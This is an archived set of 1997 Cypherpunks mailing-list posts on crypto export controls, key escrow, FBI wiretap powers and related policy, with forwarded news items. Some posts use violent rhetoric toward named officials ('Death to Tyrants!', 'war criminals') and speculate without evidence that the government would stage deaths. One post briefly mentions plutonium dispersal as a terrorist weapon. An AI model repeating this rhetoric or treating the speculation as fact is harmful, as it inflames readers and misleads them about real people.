Perhaps I'm being overly paranoid. But even paranoid Cypherpunks have
enemies...and I call them Freeh, McCain, Kerrey (and Kerry), Denning,
Clinton, Dellums, Kyl, Swinestein, and all the rest of the war criminals.

We're at war.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Date: Thu, 11 Sep 1997 05:14:13 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
Message-ID: <34170A83.1205@worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
> 
> At 8:53 PM -0700 9/9/97, James S. Tyre wrote:
> >Tim May is correct (as is Declan's clarification of his earlier note).
> >If the amendment does become law, however, do not expect two things:
> >
> >1.  Do not expect that it will be fast-tracked to the Supreme Court, as
> >was the case with CDA.  Instead, expect that it will start with the
> >District Court, take years to get to and through the Court of Appeals,
> >and then, if the U.S. Supreme Court decides to hear the matter at all
> >(it would have no obligation to do so), much more time there.
> 
> Do, however, expect injunctive relief prior to any definitive ruling.
>

Quite possibly.  But only as applied to the individual case, or more
broadly enjoining the government from enforcing the law (if there will
be a law)?  The latter would be better, but many judges would not be
willing to go that far.

> >
> >2.  Do not expect that a case will involve a broad coalition of
> >plaintiffs, as was the case with the CDA.  Expect that the courts will
> >only entertain an action by a plaintiff with traditional standing:  one
> >who goes through all of the bureaucratic hoops trying to get a license,
> >and then is turned down.
> 
> Do expect one or more crypto-libertatians to publicize the shipment of
> software in violation of the new rules in order to force a judicial
> show-down.

I'm not nearly enough of a sucker to bet against that.
> 
> --Steve

-Jim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 11 Sep 1997 03:14:54 +0800
To: Unicorn <hvdl@sequent.com>
Subject: Re: Nuclear Hedge Funds
In-Reply-To: <19970909130000.60003@sequent.com>
Message-ID: <199709101907.OAA08092@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970909130000.60003@sequent.com>, on 09/09/97 
   at 01:00 PM, Unicorn <hvdl@sequent.com> said:

>Destruction by a  nuclear blast is most likely not  even the issue here.
>Using a  relatively small amount  of plutonium  (ie. not even  enough to
>produce a  critical mass) and enough  explosives to blast this  into the
>atmosphere  you  can  kill  a  (very) large  number  of  people  over  a
>relatively  small amount  of  time due  to  plutonium toxication.  These
>devices are the real "dirty  gadgets", not really expensive and therefor
>perfectly suitable for terrorist organisations.

>But what a dreadfull way to die...


The US military during WWII had plans of doing just that in Europe to
poison the crops and aid in the defeat of Germany. 

Luck for Europe this was never followed through.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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WQXNJRcjZJo=
=X8Wk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 11 Sep 1997 05:29:50 +0800
To: Tim May <tcmay@got.net>
Subject: Re: I told you so
In-Reply-To: <v03102801b03cb0aedba3@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970910140239.6214A-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 10 Sep 1997, Tim May wrote:
> In a 45 to 1 vote, the committee adopted an amendment from Rep. Curt Weldon
> (R-Pa.) and Rep. Ron Dellums (D-Calif.) that
> would condition all exports of coding technology on the potential for harm
> to national security.

And, just (I am starting to sound like Tim :) as I predicted years ago, 
it passes with overwhelming majority. OK, to be honest, I predicted that a
domestic ban/severe restrictions on use of strong crypto would pass with 
well over 90% of the votes. And that prediction of course still stands.

If they can ban machine guns, they can ban crypto. Expect nothing from 
the Supreme Court.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 11 Sep 1997 05:52:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Reichstag Fire and the October Raids
In-Reply-To: <v03102802b03cb1d62108@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970910140858.6214B-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 10 Sep 1997, Tim May wrote:
> 
> Yep, they need a Reichstag fire. To nudge any recalcitrant Congresscritters.

[...]
 
> They'll need some dire threat or significant event to get the vote they want.

I have been thinking about this for days now. They are using the same tired
four horsemen stories they used in 1992. They need something new. 
Something fresh.  Something that conveniently makes the news the week
before the vote. 
 
> I'm thinking it may involve us. The 5-6 months they've had to "debrief"
> Bell, to convince him that squealing on anarchists and information
> terrorists, and money laundering advovactes, and felons, could mean a
> series of indictments will come in October/November.

Somehow I sense they need an event a bit more photogenic than an
indictment. Of course the would prefer bodies. Nothing works stronger PR
magic than bodies of dead children. Then again, perhaps some footage of
the rifles impounded from the Crypto Militia, as the press releases will
call the group, might suffice. Together, perhaps with the corpse of one of
their "leaders". 

> Whether their charges will "stick" or not is not really the point, is it?
> The trial, if one is ever held, will take place many months or even years
> after the charges are filed.

There are two main reasons why there might be no trial: they drop the 
charges or there is no defendant left alive to be put on trial...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 11 Sep 1997 00:17:39 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: medical records next. does it ever end?
Message-ID: <199709101603.KAA23312@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

ref: http://www.nytimes.com/yr/mo/day/news/washpol/medical-files.html

    and, of course, we all know that our friendLY, loyal, trustworthy,
    and obedient police departments can keep a secret and protect the
    innocent.

    NYT lead article today indicates Clinton bowing to LEOs to:

        ...gain broad access to patients' medical records, with hardly 
        any restrictions on use or redisclosure of the data.   

        "We recommend that providers and payers be permitted to rely on 
        the statement of law-enforcement officials that an inquiry meets 
        these standards," the administration says....

    and we all know the police never lie when theY're fishing!

        The administration proposal would not require law-enforcement 
        agencies to get court orders or to notify patients when they 
        seek medical records. Patients would not be assured of an 
        opportunity to challenge the disclosure of their files, though 
        the records could later be used against them in investigations 
        or prosecutions. 
    
    fourth amendment mean _anything_ to these petty dictators? has the
    US become just another bananna republic at the interest of the 
    power brokers?  are we stretching the idea of a republic a bit
    thin?

        "Our recommendations accommodate the interests of law     
        enforcement rather well," said an administration official who 
        helped draft the proposal. "The Justice Department got almost 
        everything it wanted." 

    THIS is what is wrong with the US! the courts have become 
    adversarial playgrounds for the prosecutors for the benefit of the 
    "state"  the old rule used to be if you were _charged_ by the Feds, 
    start plea bargaining --if you go to court, the sentence will 
    triple. just "fuck" the concept of innocent until proven guilty, or
    'hey, man, you were arrested, weren't you?'

        Andrew Fois, an assistant attorney general, said, "There has 
        been no documented history suggesting that law-enforcement 
        agencies have abused their current access to medical records, or 
        that existing federal and state law is inadequate to guard 
        against such a danger." 

    LIAR!  I'll bet this man would lie to his own mother if it meant
    his courtroom body count ratio increased. What state or federal 
    law? there is no restriction to LEO access currently; Congress is
    considering bills on protecting access, and the LEOs want total
    exemption from the rules.

    TIME FOR THE INTERMOUNTAIN EMPIRE TO SECEDE FROM THE 
    UNCONSTITUTIONAL GOVERNMENT IN WASHINGTON.
 
 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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=ykmY
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Sep 1997 06:51:47 +0800
To: cypherpunks@toad.com
Subject: Building in Big Brother, from The Netly News
Message-ID: <Pine.GSO.3.95.970910153637.17580P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---

http://cgi.pathfinder.com/netly/opinion/0,1042,1385,00.html

The Netly News Network (http://netlynews.com/)
September 10, 1997

Building in Big Brother
By Declan McCullagh (declan@well.com)
  
        The U.S. Congress, bowing to law enforcement demands for more
   wiretap powers, is preparing to approve a scheme that endangers the
   personal freedom of every American.
   
        Nobody doubts that wiretaps are useful tools for law enforcement
   agents. FBI Director Louis Freeh, who as a young agent built his
   career on them, knows this well.
   
        But Freeh's plan would expand the FBI's eavesdropping ability by
   building Big Brother into every word processor, every e-mail program
   and every web browser. All computer software distributed after 1998
   would have a special, secret backdoor for government access to your
   most private files. Even your Internet provider would be deputized as
   a cyber-snoop. It's the technological equivalent of requiring that
   every homeowner turn over a spare copy of his front door key to the
   FBI.
   
        This is the same FBI that has a long and disturbing history of
   abusing Americans' privacy. As director, J. Edgar Hoover built a
   successful career out of illegal wiretaps, secret files and political
   blackmail. Hoover despised Martin Luther King, Jr. -- branding him an
   "obsessive degenerate" -- and once sent him an anonymous letter, using
   information gathered through illegal surveillance, to encourage the
   depressed civil rights leader to commit suicide. Hoover's legacy?
   Having the FBI headquarters bear his name today.

[...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Sep 1997 07:19:33 +0800
To: cypherpunks@toad.com
Subject: Re: Building in Big Brother, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970910153637.17580P-100000@well.com>
Message-ID: <Pine.GSO.3.95.970910155341.17580U-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Forgot to say -- Check out the second half of my article (not attached, at
the URL below) for a look ahead at what other committees might do with
mandatory key escrow, based on my conversations with some pro-GAK
representatives.

-Declan


On Wed, 10 Sep 1997, Declan McCullagh wrote:

> ---
> 
> http://cgi.pathfinder.com/netly/opinion/0,1042,1385,00.html
> 
> The Netly News Network (http://netlynews.com/)
> September 10, 1997
> 
> Building in Big Brother
> By Declan McCullagh (declan@well.com)
>   
>         The U.S. Congress, bowing to law enforcement demands for more
>    wiretap powers, is preparing to approve a scheme that endangers the
>    personal freedom of every American.
>    
>         Nobody doubts that wiretaps are useful tools for law enforcement
>    agents. FBI Director Louis Freeh, who as a young agent built his
>    career on them, knows this well.
>    
>         But Freeh's plan would expand the FBI's eavesdropping ability by
>    building Big Brother into every word processor, every e-mail program
>    and every web browser. All computer software distributed after 1998
>    would have a special, secret backdoor for government access to your
>    most private files. Even your Internet provider would be deputized as
>    a cyber-snoop. It's the technological equivalent of requiring that
>    every homeowner turn over a spare copy of his front door key to the
>    FBI.
>    
>         This is the same FBI that has a long and disturbing history of
>    abusing Americans' privacy. As director, J. Edgar Hoover built a
>    successful career out of illegal wiretaps, secret files and political
>    blackmail. Hoover despised Martin Luther King, Jr. -- branding him an
>    "obsessive degenerate" -- and once sent him an anonymous letter, using
>    information gathered through illegal surveillance, to encourage the
>    depressed civil rights leader to commit suicide. Hoover's legacy?
>    Having the FBI headquarters bear his name today.
> 
> [...]
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 11 Sep 1997 04:41:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Chelsea Clinton's PGP
In-Reply-To: <v03102806b03bc470101a@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970910161802.21845F-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




	STANFORD, Calif. (AP) - When Chelsea Clinton becomes the First
Freshman at Stanford University next week, her proud and wistful parents
will be watching.
	And so will reporters and photographers eager to document the
start of her new life 3,000 miles away from home.
	Chelsea, accompanied by President Clinton and first lady Hillary
Rodham Clinton, will begin her Stanford career with five days of
orientation starting Sept. 19th.
	She'll move into her dorm, meet her roommate and get to know the
sprawling campus 30 miles south of San Francisco before classes start on
Sept. 24th.
	The Clintons plan to let reporters follow them about campus on the
first day of orientation with the idea that the press will get enough
pictures and fodder for stories - and then leave Chelsea alone.
	"That's the hope," said Marsha Berry, Mrs. Clinton's press
representative.
	And once she's settled in, Chelsea will not be hounded by the
student newspaper, the Stanford Daily. Rather, she'll be treated as "a
student, a regular student," not as a celebrity, says the paper's editor,
Carolyn Sleeth.
	Chelsea, as the only child of the president, was long protected
from the glare of the press but has recently become something of a public
figure in her own right with increasing public appearances over the past
year. The 17-year-old would-be doctor has received high marks for being
intelligent, poised and personable.
	"I've found inspiration in the effortless grace that a girl half
my age has brought to an intimidating challenge," Patti Davis, Ronald
Reagan's daughter, wrote in Harper's Bazaar about Chelsea.
	"Whatever it is Chelsea does, she's the best person we've ever
seen doing it," the Unofficial Chelsea Clinton Fan Club declares on its
Web site.
	Thousands of people were interested enough in Chelsea to give her
some tongue-in-cheek advice in a survey the Internet company Excite!
recently ran on its Web site.
	"It's like the whole country gets to go to college with her - they
get to live vicariously," said Joe Krauss, one of six Stanford grads who
founded the company.
	Stanford, determined to guard Chelsea's privacy as it would that
of any other student, isn't saying much about her life at the university.
She'll be just one of its entering 1,660 freshman who ante up nearly
$30,000 in tuition, room and board to study at the campus that sits at the
foot of rolling, oak-studded hills.
	But celebrities who've attended other prestigious schools - after
an initial flurry of publicity - have been able to enjoy relatively normal
lives on campus.
	Amy Carter, like Chelsea, created a bit of a stir when she visited
campuses before choosing Brown University. John F. Kennedy Jr. also
attended Brown. Both were treated "just like any other private student,"
said university spokeswoman Tracie Sweeney.
	"Of course, it was a help that their fathers were not sitting
presidents when they were in school. That took some of the pressure off,"
she said.
	Luci Baines Johnson was the last person to go directly from the
White House to college when she decided to attend the University of Texas
in 1966. It was her impending wedding, however, that generated more media
interest.
	Brooke Shields' career at Princeton drew some undercover reporters
- people with notebooks and cameras. The actress, her family and the
university made it clear that while on campus she was no longer a
celebrity but a student entitled to privacy.
	"I understand there were some number of paparazzi in the very
early days who would try to stake out spots on campus," said Princeton
spokesman Justin Harmon.
	"But once offending photographers were escorted off campus and
word got out that we meant to enforce the ground rules ... by and large
folks were quite cooperative," he said.
	Chelsea could find the same privacy at Stanford - except for times
when Mom or Dad visit, attracting reporters again to campus, say Harmon
and Sweeney.
	But fans of the first daughter have admired her ability to
withstand such pressures so far.
	Peter Clipsham, president of the Unofficial Chelsea Clinton Fan
Club, observed that it must be uncomfortable for her to have grown up in
the public eye.
	"Still, she seemed to dance through it," the 19-year-old Ottawa,
Canada resident said.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Sep 1997 07:49:03 +0800
To: cypherpunks@toad.com
Subject: Crypto-czar nominated for Commerce Dept undersecretary (fwd)
Message-ID: <Pine.GSO.3.95.970910162613.17580X-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 10 Sep 1997 16:26:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Crypto-czar nominated for Commerce Dept undersecretary


	Clinton Nominates Aaron to Commerce Department Post

	WASHINGTON, Sept. 8 /U.S. Newswire/ -- President Clinton today
announced his intent to nominate Ambassador David L. Aaron for the
position of Under Secretary for International Trade at the Department
of Commerce.
	Aaron, of Sag Harbor, N.Y., has extensive experience in both
national and international issues. Since 1993, he has served as U.S.
Ambassador to the Organization for Economic Cooperation and
Development (OECD). In 1996, the White House announced his
appointment as Special Envoy for Cryptography, giving him the
responsibility of promoting the growth of international electronic
commerce and robust, secure global communications in a manner that
protects the public safety and national security.
	In 1962, Aaron entered the Foreign Service where he served in a
variety of posts including NATO, the United Nations, and the
Strategic Arms talks. After leaving the Foreign Service, he continued
in government at the National Security Council, on the staff of Sen.
Walter Mondale, the Senate Select Committee on Intelligence, and as
Deputy National Security Advisor to President Carter.
	Upon leaving government, Aaron became vice president for mergers
and acquisitions at Oppenheimer and Co. Prior to becoming
ambassador, he was a senior fellow at the Twentieth Century Fund,
served on the board of the National Democratic Institute and the
International League for Human Rights, and was a member of the
Overseas Development Council and the Council on Foreign Relations.
He is a recipient of the National Defense Medal, the Pentagon's
highest civilian award, and the author of three novels. Aaron is a
graduate of Occidental College and Princeton University.
	As head of the Commerce Department's International Trade
Administration, Aaron will be responsible for policies and programs
that promote world trade and strengthen the international trade and
investment position of the United States.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 11 Sep 1997 07:46:51 +0800
To: Ulf Möller <ulf@fitug.de>
Subject: Re: Net Papa: Global Internet Taxes Inevitable
In-Reply-To: <m0x8tpu-0003bFC@ulf.mali.sub.org>
Message-ID: <Pine.SUN.3.91.970910161646.6214C-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 10 Sep 1997, Ulf =?iso-8859-1?Q?M=F6ller?= wrote:

> >   GENEVA -- Internet taxes are inevitable, according to the man dubbed
> >   the "Father of the Net."
> 
> Funny thing to claim, given that the European Commission of all has
> already rejected Internet taxes half a year ago.

Bit taxes are inevitable. The European Commission has rejected new taxes
for now since doing so at the time generated a higher PR benefit than
could have been purchased from the tax revenue. That will change. The EU,
just as the USG, will change the tune before long. Understand that I am 
not saying that they will change their mind. They mind to establish a bit 
tax is already made up. Just as they had made up their mind years ago to 
ban any and all use of non-GAK crypto by private citizens. [It is against the
very nature of government to leave a revenue source untapped forever].

 
> Sure. Why are there no airbags in those datagrams, yet?

There will be airbags in datagrams. Or the equivalent of airbags. Thanks
to IP v6, authenticated datagrams can trivially be mandated. Naturally, 
authentication of datagrams will be mandated once the government is 
increasingly faced with the "negative" side effects of the Internet. 

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 11 Sep 1997 07:50:13 +0800
To: cypherpunks@toad.com
Subject: Freeh says FBI doing great, supports Weaver killer
Message-ID: <Pine.GSO.3.95.970910162659.17580Z-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





	WASHINGTON (AP) - FBI Director Louis Freeh today declared his
agency "in great shape" despite a recent spate of public relations
embarrassments and said he has no plans to step down from his job.
	Timothy McVeigh's conviction for the Oklahoma City bombing, the
capture of CIA shooting suspect Mir Aimal Kansi of Pakistan and other
recent successes have helped restore public confidence in the FBI, he told
reporters today.
	The agency's image has suffered in recent years in the wake of a
variety of controversies, including its conduct in the investigation of
the Atlanta Olympic bombing, allegations that its crime lab had mishandled
evidence and accusations that he had failed to fully brief the White House
on China's alleged efforts to contribute money to U.S. political
campaigns.
	"I think in large part that we're past it," Freeh said of the
FBI's public relations problems. "We will always be controversial. ... But
I think that how the FBI responds to those problems is what's important."
	In an April edition of Newsweek, an article quoted Freeh as saying
he had considered quitting his job.
	But today, Freeh said he may even serve out his 10-year term.
	"I'm staying on," he said. "I've got no current plans to leave."
	He also said the FBI is close to hiring a new assistant director
for the crime lab, choosing from a list of candidates that includes
"world-class scientists."
	He also said the FBI continues a vigorous investigation of a June
1996 bombing that killed 19 American airmen in Saudi Arabia, despite the
fact that Hani al-Sayegh, a Saudi dissident, had reneged on an agreement
to provide information on the case.
	"His reneging on that agreement is not a serious setback to our
own investigation," Freeh said.
	The FBI will continue to stand behind Lon Horiuchi, an FBI
sharpshooter charged last month by local authorities with involuntary
manslaughter for the shooting death of Vicky Weaver, wife of white
supremacist Randy Weaver, during a deadly standoff in Idaho, Freeh said.
	"We fully support him," Freeh said. "It was a horrible tragedy. It
was a mistake on his part, but we believe he was acting as he was trained
to do. He was within the scope of his authority. ... He reasonably
believed at the time that what he was doing was proper."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hiawatha Bray <wathab@tiac.net>
Date: Thu, 11 Sep 1997 04:52:23 +0800
To: "'tcmay@got.net>
Subject: RE: House National Security committee guts SAFE, worse than no bill
Message-ID: <01BCBE08.43D9E320.wathab@tiac.net>
MIME-Version: 1.0
Content-Type: text/plain



I hate to tip folks off as to my column for tomorrow, but that's exactly 
what I'm doing in it.  I have written that if the Feds try to impose 
key-recovery crypto on me, I'll start using some encryption program that 
doesn't comply with the law, and I'll send copies of the messages to the 
Feds, so they can come and arrest me.  If I really thought they would, I 
wouldn't have written it!  But I'll stand by it.

Anyway, I don't presently encrypt my mail.  No reason to--I ain't no 
pedophile...;-)
So if I want to send crypto I must find some partner in crime.  Any 
volunteers?

Hiawatha Bray
Technology Reporter
Boston Globe
P.O. Box 2378
135 Morrissey Blvd.
Boston, MA  02107-2378  USA
617-929-3115 voice
617-929-3183 fax
http://members.tripod.com/~krothering/index.html


On Wednesday, September 10, 1997 10:04 AM, Syniker@aol.com 
[SMTP:Syniker@aol.com] wrote:
> >>Perhaps it's time to dare the Feds to prosecute you. Any volunteers?<<
>
> Me.
> Whatever anyone else does, I'm going to first...
> ignore any government mandates or law on crypto [use it anyway]
> then, challenge them... and finally, defy them. Period.
> That's where I'm at.
> And, I'm going to tell them that's what I'm going to do.
> On any website I can.
>
> Larry.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 11 Sep 1997 07:41:32 +0800
To: cypherpunks@toad.com
Subject: Re: Nuclear Hedge Funds
In-Reply-To: <199709101907.OAA08092@mailhub.amaranth.com>
Message-ID: <7k3Tce1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <19970909130000.60003@sequent.com>, on 09/09/97 
>    at 01:00 PM, Unicorn <hvdl@sequent.com> said:
> 
> >Destruction by a  nuclear blast is most likely not  even the issue here.
> >Using a  relatively small amount  of plutonium  (ie. not even  enough to
> >produce a  critical mass) and enough  explosives to blast this  into the
> >atmosphere  you  can  kill  a  (very) large  number  of  people  over  a
> >relatively  small amount  of  time due  to  plutonium toxication.  These
> >devices are the real "dirty  gadgets", not really expensive and therefor
> >perfectly suitable for terrorist organisations.
> 
> >But what a dreadfull way to die...
> 
> 
> The US military during WWII had plans of doing just that in Europe to
> poison the crops and aid in the defeat of Germany. 
> 
> Luck for Europe this was never followed through.

Actually, the Germans were aware of the plans and indicated that
they'd kill the about 500K U.S. and British POWs if this happened.
(They treated the latter much better than they treated Polish
and Russian POWs, who were often summarily gassed.)
For the same reason the Germans and the Allies didn't use poison
gas in Europe during WW2, although both sides used it liberally
in WW1, and the Japanese used it a lot against the Chinese.
Game theory and stuff. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 11 Sep 1997 07:27:06 +0800
To: cypherpunks@toad.com
Subject: Re: New Forbes Article
In-Reply-To: <199709101910.MAA05051@rigel.cyberpass.net>
Message-ID: <7P3Tce2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges <hedges@rigel.cyberpass.net> writes:

> 
> 
> 
> Patrick Mullen wrote:
> >There is a really good article in the new Forbes.  Many 
> >familiar names are mentioned...
> >
> >http://www.forbes.com/forbes/97/0908/6005172a.htm
> 
> It's a great article, but they said that Sameer authored and runs
> the Anonymizer. He ran it for a while, but Justin Boyan wrote the
> thing, and now we operate the server.
> 
> Mark Hedges
> Anonymizer Inc.
> 
> 

Have Sameer's lawyers send them a threatening letter.

Heck, have Sameer's lawyers send EVERYBODY a letter. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 11 Sep 1997 08:17:03 +0800
To: Anonymous <remailer-operators@anon.lcs.mit.edu
Subject: Re: Renaming TEA remailer
In-Reply-To: <199709092302.AAA05230@notatla.demon.co.uk>
Message-ID: <v03102809b03ce609bc03@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:05 AM +0200 9/11/97, Anonymous wrote:
>> I am advised by Mark Hedges that Anonymizer, Inc. owns the trademark
>> for the product name "Anonymizer" and at his request I have changed
>> name of the tea remailer to 'Tea Remailer'.
>
>  Generic terms can't be trademarked.
>
>  Did they provide you with the UK or European trademark number? If not,
>the claim likely is fraudulent.

I really don't understand this reaction. We asked Antonomasia nicely to
rename his remailer. He very kindly agreed. The Trademark registration has
been filed, but not yet approved. It is a long process.

	-Lance

----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 11 Sep 1997 08:47:48 +0800
To: cryptography@c2.net
Subject: ANNOUNCE: NIST AES Advanced Encryption System development effort
Message-ID: <3.0.3.32.19970910172718.006b75c4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



NIST is putting out a call for candidates for an Advanced Encryption System,
following work and comment periods earlier this year.
	http://csrc.nist.gov/encryption/aes/aes_home.htm
Symmetric block cypher, 128-bit blocks, keylengths 128, 192, 256.
No mention of escrow

>Organization: National Institute of Standards and Technology
>	formerly National Bureau of Standards
>Disclaimer: Opinions expressed are those of the sender
>	and do not reflect NIST policy or agreement.
>Date: Wed, 10 Sep 1997 14:50:11 -0400
>To: foti@st1.ncsl.nist.gov
>From: Jim Foti <foti@st1.ncsl.nist.gov>
>Subject: Update on AES development effort
>
>Folks,
>
>Please take a look at <http://csrc.nist.gov/encryption/aes/aes_home.htm>
>for the AES call for candidate algorithms, which is expected to be
>published in the Federal Register on Friday, Sept. 12.
>
>As is indicated in the announcement, clarification questions should be
>directed to "aesquest@nist.gov".
>
>Once again, this "FYI" message is being sent to all of you who either
>registered for the April '97 workshop, attended that workshop, or provided
>comments on the original Federal Register notice in January.  We really
>appreciate your interest in this development effort.
>
>Regards,
>Jim Foti
>
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Thu, 11 Sep 1997 05:57:44 +0800
To: Hiawatha Bray <tcmay@got.net>
Subject: RE: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <01BCBE08.43D9E320.wathab@tiac.net>
Message-ID: <3.0.3.32.19970910172727.031c4b40@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 08:40 PM 9/10/97 +0000, Hiawatha Bray wrote:
>
  I have written that if the Feds try to impose 
>key-recovery crypto on me, I'll start using some encryption program 
that 
>doesn't comply with the law, and I'll send copies of the messages to 
the 
>Feds, so they can come and arrest me.  If I really thought they 
would, I 
>wouldn't have written it!  But I'll stand by it.
>
>Anyway, I don't presently encrypt my mail.  No reason to--I ain't no 

>pedophile...;-)
>So if I want to send crypto I must find some partner in crime.  Any 
>volunteers?

Sign me up, Hiawatha. I'll send mail back, too.

And as long as I have your attention, here's another thing that 
occurred to me.

Hawaii's Rep. Abercrombie yesterday suggested that the mere 10 years 
in prison that await crypto exporters aren't nearly enough. Sending 
PGP abroad, he says, ought to be punished with far more than that. 

Fair 'nuff. I wonder how many people might be willing to sign a 
petition stating they have exported crypto - something to deserve 10 
years in the slammer? Surely 1,000 people or more off the lists 
represented here? I suppose Vincent Cate's crypto export page would 
give people a feel for how it works before they move their way up to 
the big leagues?

Cate, of course, is at: http://online.offshore.com.ai/arms-
trafficker/

While you're all pondering possible civil disobedience, here's my 
public key.

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQGiBDPOVAARBAD/Kgzb/n6l9C0S64znmcbnf/ccKCU0a69hpf87obTstJbvgkpT
6/5vd2L4uI9SxnLxY3BxfyW79xC1x45fbZ+ULILtdTAkpo7J7Jwa4+sP6yqUOoBC
YlcWY8/QzviaUwOpd8gLqvILAmH89CPwE+1CkBrTuDFhq/eFFz3vBwIAPwCg/wgA
X9C8pVkkIP7oxf4jNb80t6UEALkqz18TXGvV4GIe8OzuJE8IwdHxYF1TveDU1S7q
Ieu49w0TQ8BFVRNmX6w8kUhD3hDB9bPfsrMP9YcdLZjhzH3It1bmxrEXpfyJ89vM
IBPWx4ACR4zv9w1ugFHE8hYbpW/9f2kJ+2qeILCgf9dV8cjcyfg/9T7HU5lFr+ss
/Ky/A/40h2dwJJxslyWLEmwQpAQyvzuAhKwgy58p2o3NhroEis/212itSAzO+D/F
OD9Z2ytXPpvuYCAfJY2qwdEi2VSyiqmKE2S24HI2KBWCjkTSKlDVyabfVPd4+P2m
